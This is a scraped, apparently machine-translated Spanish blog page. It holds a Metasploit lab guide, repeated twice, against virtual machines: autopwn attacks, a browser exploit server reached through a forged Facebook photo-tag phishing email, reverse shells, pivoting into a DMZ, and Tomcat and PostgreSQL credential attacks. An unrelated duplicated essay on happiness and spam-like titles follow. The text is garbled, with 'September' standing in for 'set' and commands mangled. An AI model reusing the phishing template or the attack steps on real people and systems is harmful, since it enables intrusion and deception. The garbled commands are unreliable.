Ideas On Demand
like to create something but have no knowledge of the subject?
Got an idea for something but not very clear in your mind?
Agregame: radical_virus01 [at] hotmail.com
I can help you develop your ideas. Eye
computer only
Wednesday, January 19, 2011
Where Can I Buy Temazepan
Laboratory Guide firewall and ids
xd "A vulnerability is as limited as you want it to be"
3 On your computer find virtual machines called {1,2,3}, corralas
1: backtrack (BackTrack is a GNU / Linux LiveCD format conceived and designed for security auditing and related to computer security in general)
2: Ubuntu server
3: Windows XP (Windows XP sp2)
backtrak start to backtrack to stream buffer ( first option)
ifconfig eth1 192.168.0.11 netmask 255.255.255.0 Then enter startx
Ubuntu server: Enter login
:
User: msfadmin
Password: msfadmin
Write startx
Windows XP
not get to do anything
First Attack (firewall off)
For our first attack we will use the malicious agent backtrack and Windows XP
First we will check the efficiency of our firewall installed by default
In backtrack open a konsole and type ping 192.168.0.120 and see what prevents us from pinging
Then 192.168.0.120 nmap to see if we can see the ports, but actually they are all filtered.
Go to backtrack-> penetration-> All -> Msfconsole
There db_create
write db_driver sqlite3
networks networks db_connect
We do this to create a database and there to keep all the vulnerabilities found method called (Vulnerability Assessment: Analysis weaknesses or vulnerabilities of technical amendments made to a system, fixing these weaknesses in a database.)
As this first attack is divided into two, proceed to disable the firewall in Windows XP
Start-> Control Panel-> Security Center-> Windows Firewall-> tick the box off (not recommended)
Now backtrack, and we have our database (bag) and what we will do an analysis of footprinting to know what type of system we face
Nmap is an open source program used to perform port scans .
Write a
msfconsole db_namp-PN-A-PN
192.168.0.120: attempts to identify the services for open ports on the system be used to assess each service individually to try to locate vulnerabilities in them.
-A: comprehensive analysis to identify the operating system
Then write
Db_autopwn: script that allows multiple attacks based from a database
db_autopwn-t-p-e
now review the sessions that have been created
meterpreter or goal
The interpreter is a family of plugins advanced for use on Windows systems that have committed fundamental characteristic that everything is loaded into memory from the system without creating any additional processing.
Sessions-l
To choose the session we do sessions-i 1 or 2
create the reverse Shell Shell
If we can not create write exit and re-elected the sitting
First Attack (firewall enabled)
What we do in this type of attack is to make the victim into a trap and through this create a reverse shell.
Go to backtrack-> penetration-> All -> Msfconsole
He writes: nmap 192.168.0.120
As we can see no ping has been established with the victim, anyone would think this is safe, but we'll see that it is not.
Now type: Use server
/ browser_autopwn
This is an exploit that lets you create a server loaded with poisoned with this script will create the remote connection. Show options
September
Lhoste 192.168.0.11 / / this means our server where it becomes lodged in September
SRVHOST
192.168.0.11 / / with this we will make the connection to it so that instead of launching an attack on a server and wait to become promiscuous
requests
SRVPORT September 80 / / indicate the output port of our server
Now write: run
Here we see that it just created our server.
The next step is to make our entering fall victim to the phishing site.
How?
In real life could be done through a notification message from facebook,
is as simple as creating a new message from our Hotmail.com account there to give you edit text in html mode
and write the missing data in xxx and then send
AMIGO_QUE_ENVIA_MENSAJE tagged a photo of yourself in your album.
To view the photos, follow this link:
http://www.facebook.com/n/?photo.php&pid=439128&op=1&view=all&subj=1101827805&id = 1405875231 & mid = a0d79cG41ac8eddG8ac16dG5
Thank
The Facebook Team ___
This message was intended for PNOMBRE OF THE VICTIM. Want to control which email messages you receive from Facebook? Visit:
http://www.facebook.com/editaccount.php?notifications&md=cGhvdG9fdGFnO2Zyb209MTQwNTg3NTIzMTt1aWQ9MTQwNTg3NTIzMTtwaWQ9NDM5MTI4O3RvPTExMDE4Mjc4MDU=&mid=a0d79cG41ac8eddG8ac16dG5
Facebook's offices are at 1601 S. California Ave, Palo Alto, CA94304.
In Windows XP open the browser and type:
192.168.0.11/código
The code is coming from where it says Using URL: 192.168.0.11/código
Writing sessions sessions-l-i
After session number
writing can create a Shell "Shell"
ENGAGING AN ARCHITECTURE
DMZ
msfconsole In the same type:
route run run get_local_subnets
arp_scanner-r 192.168.0.1/24 / / to know which nodes are active
Now press control + z to stop our session in the background and write
Route Back
route print route add 192.168.0.22 255.255.255.0 1 / / add our new victim is within the route network committed
print / / verify that you have created the meeting sessions-l
back / / we go back to release another exploit
use auxiliary / scanner / portscan / tcp / / exploit
what we will assess which ports are open
September 1-1000 September PORTS rhosts 192.168.0.22
run connect-c 1 192.168.111.2 23 / / we connect to port 23 through the first victim that bridges
Attacking a database within the DMZ
Tiki CMS / Groupware or TikiWiki is a content management system for collaborative nature (CMS / Groupware) easy to configure and customize, designed to create portals, community sites, intranets and Web applications in general.
As we know that we have port sqlite3 db_driver
db_create to
db_connect to
db_nmap-NP-A 192.168.0.22
then we db_services
and
now ready to give in this section will attack all vulnerabilities found and will make the attack via tunneling 192.168.0.120
back
use auxiliary / admin / tikiwiki / tikidblib / / Will hit the database is 192.168.0.22 which has myql
rhost 192,168,229,129
September
now we exploit data from the database
open another konsole and type mysql-u root-h 192.168.0.22-Proot
Attacking
Tomcat tomcat server (also known as Jakarta Tomcat or Apache Tomcat) works as a servlet container developed under the Jakarta project at the Apache Software Foundation. Tomcat implements the specifications of the servlets and JavaServer Pages (JSP) from Sun Microsystems.
The
msfconsole
use auxiliary / scanner / http / tomcat_mrg_login
rhosts
September 8180 192.168.0.22 rport
September
run
When green is found login [+]
.. Taking advantage of the user and pass get another exploit
In writing msfconsole
Back
use exploits / multi / http / tomcat_mgr_deploy
September USERNAME PASSWORD tomcat tomcat
September September September
rhost rport 8180 192.168.0.22
control + z sessions-l
Attack PostgreSQL
At the same msfconsole Back
use auxiliary / scanner / postgres / postgres_login September
rhost 192.168.0.22
us we log in with username and password: postgres.
Now that we have the data we are interested in the user configuration file and then perform a brute force ssh to the
Back
use auxiliary / admin / postgres / postgres PASSWORD postgres_readfile
September
On September rhost 192.168.0.22 Finally we db_autopwn-t-e-p
xd "A vulnerability is as limited as you want it to be"
3 On your computer find virtual machines called {1,2,3}, corralas
1: backtrack (BackTrack is a GNU / Linux LiveCD format conceived and designed for security auditing and related to computer security in general)
2: Ubuntu server
3: Windows XP (Windows XP sp2)
backtrak start to backtrack to stream buffer ( first option)
ifconfig eth1 192.168.0.11 netmask 255.255.255.0 Then enter startx
Ubuntu server: Enter login
:
User: msfadmin
Password: msfadmin
Write startx
Windows XP
not get to do anything
First Attack (firewall off)
For our first attack we will use the malicious agent backtrack and Windows XP
First we will check the efficiency of our firewall installed by default
In backtrack open a konsole and type ping 192.168.0.120 and see what prevents us from pinging
Then 192.168.0.120 nmap to see if we can see the ports, but actually they are all filtered.
Go to backtrack-> penetration-> All -> Msfconsole
There db_create
write db_driver sqlite3
networks networks db_connect
We do this to create a database and there to keep all the vulnerabilities found method called (Vulnerability Assessment: Analysis weaknesses or vulnerabilities of technical amendments made to a system, fixing these weaknesses in a database.)
As this first attack is divided into two, proceed to disable the firewall in Windows XP
Start-> Control Panel-> Security Center-> Windows Firewall-> tick the box off (not recommended)
Now backtrack, and we have our database (bag) and what we will do an analysis of footprinting to know what type of system we face
Nmap is an open source program used to perform port scans .
Write a
msfconsole db_namp-PN-A-PN
192.168.0.120: attempts to identify the services for open ports on the system be used to assess each service individually to try to locate vulnerabilities in them.
-A: comprehensive analysis to identify the operating system
Then write
Db_autopwn: script that allows multiple attacks based from a database
db_autopwn-t-p-e
now review the sessions that have been created
meterpreter or goal
The interpreter is a family of plugins advanced for use on Windows systems that have committed fundamental characteristic that everything is loaded into memory from the system without creating any additional processing.
Sessions-l
To choose the session we do sessions-i 1 or 2
create the reverse Shell Shell
If we can not create write exit and re-elected the sitting
First Attack (firewall enabled)
What we do in this type of attack is to make the victim into a trap and through this create a reverse shell.
Go to backtrack-> penetration-> All -> Msfconsole
He writes: nmap 192.168.0.120
As we can see no ping has been established with the victim, anyone would think this is safe, but we'll see that it is not.
Now type: Use server
/ browser_autopwn
This is an exploit that lets you create a server loaded with poisoned with this script will create the remote connection. Show options
September
Lhoste 192.168.0.11 / / this means our server where it becomes lodged in September
SRVHOST
192.168.0.11 / / with this we will make the connection to it so that instead of launching an attack on a server and wait to become promiscuous
requests
SRVPORT September 80 / / indicate the output port of our server
Now write: run
Here we see that it just created our server.
The next step is to make our entering fall victim to the phishing site.
How?
In real life could be done through a notification message from facebook,
is as simple as creating a new message from our Hotmail.com account there to give you edit text in html mode
and write the missing data in xxx and then send
AMIGO_QUE_ENVIA_MENSAJE tagged a photo of yourself in your album.
To view the photos, follow this link:
http://www.facebook.com/n/?photo.php&pid=439128&op=1&view=all&subj=1101827805&id = 1405875231 & mid = a0d79cG41ac8eddG8ac16dG5
Thank
The Facebook Team ___
This message was intended for PNOMBRE OF THE VICTIM. Want to control which email messages you receive from Facebook? Visit:
http://www.facebook.com/editaccount.php?notifications&md=cGhvdG9fdGFnO2Zyb209MTQwNTg3NTIzMTt1aWQ9MTQwNTg3NTIzMTtwaWQ9NDM5MTI4O3RvPTExMDE4Mjc4MDU=&mid=a0d79cG41ac8eddG8ac16dG5
Facebook's offices are at 1601 S. California Ave, Palo Alto, CA94304.
In Windows XP open the browser and type:
192.168.0.11/código
The code is coming from where it says Using URL: 192.168.0.11/código
Writing sessions sessions-l-i
After session number
writing can create a Shell "Shell"
ENGAGING AN ARCHITECTURE
DMZ
msfconsole In the same type:
route run run get_local_subnets
arp_scanner-r 192.168.0.1/24 / / to know which nodes are active
Now press control + z to stop our session in the background and write
Route Back
route print route add 192.168.0.22 255.255.255.0 1 / / add our new victim is within the route network committed
print / / verify that you have created the meeting sessions-l
back / / we go back to release another exploit
use auxiliary / scanner / portscan / tcp / / exploit
what we will assess which ports are open
September 1-1000 September PORTS rhosts 192.168.0.22
run connect-c 1 192.168.111.2 23 / / we connect to port 23 through the first victim that bridges
Attacking a database within the DMZ
Tiki CMS / Groupware or TikiWiki is a content management system for collaborative nature (CMS / Groupware) easy to configure and customize, designed to create portals, community sites, intranets and Web applications in general.
As we know that we have port sqlite3 db_driver
db_create to
db_connect to
db_nmap-NP-A 192.168.0.22
then we db_services
and
now ready to give in this section will attack all vulnerabilities found and will make the attack via tunneling 192.168.0.120
back
use auxiliary / admin / tikiwiki / tikidblib / / Will hit the database is 192.168.0.22 which has myql
rhost 192,168,229,129
September
now we exploit data from the database
open another konsole and type mysql-u root-h 192.168.0.22-Proot
Attacking
Tomcat tomcat server (also known as Jakarta Tomcat or Apache Tomcat) works as a servlet container developed under the Jakarta project at the Apache Software Foundation. Tomcat implements the specifications of the servlets and JavaServer Pages (JSP) from Sun Microsystems.
The
msfconsole
use auxiliary / scanner / http / tomcat_mrg_login
rhosts
September 8180 192.168.0.22 rport
September
run
When green is found login [+]
.. Taking advantage of the user and pass get another exploit
In writing msfconsole
Back
use exploits / multi / http / tomcat_mgr_deploy
September USERNAME PASSWORD tomcat tomcat
September September September
rhost rport 8180 192.168.0.22
control + z sessions-l
Attack PostgreSQL
At the same msfconsole Back
use auxiliary / scanner / postgres / postgres_login September
rhost 192.168.0.22
us we log in with username and password: postgres.
Now that we have the data we are interested in the user configuration file and then perform a brute force ssh to the
Back
use auxiliary / admin / postgres / postgres PASSWORD postgres_readfile
September
On September rhost 192.168.0.22 Finally we db_autopwn-t-e-p
Why I Cant Watch Movshare
Praise of Difficult
is difficult to understand the concept of happiness when the company sold to us as something perpetual, in reality the human being is always in search of the liberation of himself and looking for excuses not to feel guilty about their lack of wisdom about what they know and therefore what they fear. Happiness comes in tins of sardines, but the man hoping to buy a large portion hoping that these will serve in times of storm and shelter. But because it is so hard to be happy? Perhaps it is because man is accustomed to take his life and his achievements by completing the easy way and why not? In the world we live always as capitalist matters is the achievement of the objectives without justifying means or actions that harm individuals who are part of society. People wake up and hope and dream often confuse his dreams with the reality, they imagine women in luxury cars a lot of money and finally being happy, but at the time to reach academic achievement and transcend himself intellectually regardless of the fact, they lost the meaning of your dreams and every time I see further, in this sense, man has no more worries to spend the time to feel good to have fun, but their goals are gathered in sex drugs banality services that include not only like bullying and defend the belief in absolute happiness because you can be happy while you are bound by the rules to show what you're not a cannibalistic consumerism where people are belittled by what they wear and have groups where being real is in sharing what is expressed in money waiting to feel elated why have and empty so we need to buy, in purpose garbage but it's hard to live without garbage, much less solve difficult problems just procrastinating and waiting for your tomorrow be resolved because you always have 3 days in your life but you're only one well today and your problems remain worrying yesterday but did not lose the hope that tomorrow it resolved as long as not much effort is needed and if possible make it better person.
The responsibility is given with the aim of satisfaction when we achieve our goals and success is often achieved with the efforts made along the way, but man looking for short cuts and instant results that benefit of this? it is intended to replace the gains given by half sub achievements that made working with a minimum liability. In the case of Colombia it has been decided by order of the great people who run this country to exit quickly from absolute poverty and to contribute more in the development of our Colombia, it is better to study a technical course which will bring us all information and training needed to go to a jungle full of experts like you and offering their work to become more competitive. A study of 11 baccalaureate layer 1 2 and 3 and does not intend to study 5 years because it wants its and handled money as an adult. But the state also has suggested that a technical study is the solution to economic problems because it is money that's just a young man studying not studying to learn about making money then we will find workers who fight for work very little and gain much to form unions and require holidays and benefits, in some sense this is good because it defends the rights and many companies also operate much for the simple fact of being labor, but here is another example, a study of 11 baccalaureate degree strata 3, 4 and 5 it was decided to explore a kitchen-type race however because young people now take an interest in cooking? Because this was the effort is given from small, primary teaching and learning about the responsibility that the struggle creates achievement and success but young people see this fight overshadowed by the large sums of money and their parents sliminess replacing love exotic and expensive gifts do not teach a child that effort is rewarded and eventually end up drowning in existential questions rolling around their heads telling them not to know what to do with their lives. But we must not underestimate the chefs and the world is a changing market and only tomorrow will tell if the wave of end technical and related professionals who believe that this effort one makes to get up on the competition floor professional.
But perhaps this success does not always given to the implementation of an effort should now fight with actions 50 years ago people only dreamed of and believed to be impossible but we must abandon our enterprise and the times that try and not means we are achieving that every effort is in vain only to follow a constant struggle not to believe in the truth of a society must strive to believe in you believe in trusting you not to follow a group purporting to have the truth because only find a false happiness that will last as long as it took you to look is synonymous with efforts to fight fight to see who you improve yourself and feel happy about yourself and understand that life is more than a very long time and that the time Dures seeking happiness in things that really give you the time you will be charged life by not taking advantage of what it is to be happy. Always strives to be an entity that seeks not a living entity, some people just live their lives make other changes to society. Never wait for the messiah the savior that we light for our liberation mitigating dream to reach every day, stop submissive just because your parents tell you what the ideals are great and the only thing that matters is achieving it always will be, has the things you think are impossible and society tells you if it is because we live in a world immersed of lies and false excuses to take advantage of life over others and feel good, steal the happiness of others thinking it is like a flow of energy that is passed from one to another by osmosis, that feeling of seeing people wrong and you must discard it and hopefully never again to take that life itself teaches you that things are never easy and that evaded more than you find your fight is already exhausted and hopeless, and she charged you step by step I miss you way to be happy.
is difficult to understand the concept of happiness when the company sold to us as something perpetual, in reality the human being is always in search of the liberation of himself and looking for excuses not to feel guilty about their lack of wisdom about what they know and therefore what they fear. Happiness comes in tins of sardines, but the man hoping to buy a large portion hoping that these will serve in times of storm and shelter. But because it is so hard to be happy? Perhaps it is because man is accustomed to take his life and his achievements by completing the easy way and why not? In the world we live always as capitalist matters is the achievement of the objectives without justifying means or actions that harm individuals who are part of society. People wake up and hope and dream often confuse his dreams with the reality, they imagine women in luxury cars a lot of money and finally being happy, but at the time to reach academic achievement and transcend himself intellectually regardless of the fact, they lost the meaning of your dreams and every time I see further, in this sense, man has no more worries to spend the time to feel good to have fun, but their goals are gathered in sex drugs banality services that include not only like bullying and defend the belief in absolute happiness because you can be happy while you are bound by the rules to show what you're not a cannibalistic consumerism where people are belittled by what they wear and have groups where being real is in sharing what is expressed in money waiting to feel elated why have and empty so we need to buy, in purpose garbage but it's hard to live without garbage, much less solve difficult problems just procrastinating and waiting for your tomorrow be resolved because you always have 3 days in your life but you're only one well today and your problems remain worrying yesterday but did not lose the hope that tomorrow it resolved as long as not much effort is needed and if possible make it better person.
The responsibility is given with the aim of satisfaction when we achieve our goals and success is often achieved with the efforts made along the way, but man looking for short cuts and instant results that benefit of this? it is intended to replace the gains given by half sub achievements that made working with a minimum liability. In the case of Colombia it has been decided by order of the great people who run this country to exit quickly from absolute poverty and to contribute more in the development of our Colombia, it is better to study a technical course which will bring us all information and training needed to go to a jungle full of experts like you and offering their work to become more competitive. A study of 11 baccalaureate layer 1 2 and 3 and does not intend to study 5 years because it wants its and handled money as an adult. But the state also has suggested that a technical study is the solution to economic problems because it is money that's just a young man studying not studying to learn about making money then we will find workers who fight for work very little and gain much to form unions and require holidays and benefits, in some sense this is good because it defends the rights and many companies also operate much for the simple fact of being labor, but here is another example, a study of 11 baccalaureate degree strata 3, 4 and 5 it was decided to explore a kitchen-type race however because young people now take an interest in cooking? Because this was the effort is given from small, primary teaching and learning about the responsibility that the struggle creates achievement and success but young people see this fight overshadowed by the large sums of money and their parents sliminess replacing love exotic and expensive gifts do not teach a child that effort is rewarded and eventually end up drowning in existential questions rolling around their heads telling them not to know what to do with their lives. But we must not underestimate the chefs and the world is a changing market and only tomorrow will tell if the wave of end technical and related professionals who believe that this effort one makes to get up on the competition floor professional.
But perhaps this success does not always given to the implementation of an effort should now fight with actions 50 years ago people only dreamed of and believed to be impossible but we must abandon our enterprise and the times that try and not means we are achieving that every effort is in vain only to follow a constant struggle not to believe in the truth of a society must strive to believe in you believe in trusting you not to follow a group purporting to have the truth because only find a false happiness that will last as long as it took you to look is synonymous with efforts to fight fight to see who you improve yourself and feel happy about yourself and understand that life is more than a very long time and that the time Dures seeking happiness in things that really give you the time you will be charged life by not taking advantage of what it is to be happy. Always strives to be an entity that seeks not a living entity, some people just live their lives make other changes to society. Never wait for the messiah the savior that we light for our liberation mitigating dream to reach every day, stop submissive just because your parents tell you what the ideals are great and the only thing that matters is achieving it always will be, has the things you think are impossible and society tells you if it is because we live in a world immersed of lies and false excuses to take advantage of life over others and feel good, steal the happiness of others thinking it is like a flow of energy that is passed from one to another by osmosis, that feeling of seeing people wrong and you must discard it and hopefully never again to take that life itself teaches you that things are never easy and that evaded more than you find your fight is already exhausted and hopeless, and she charged you step by step I miss you way to be happy.
Subscribe to:
Posts (Atom)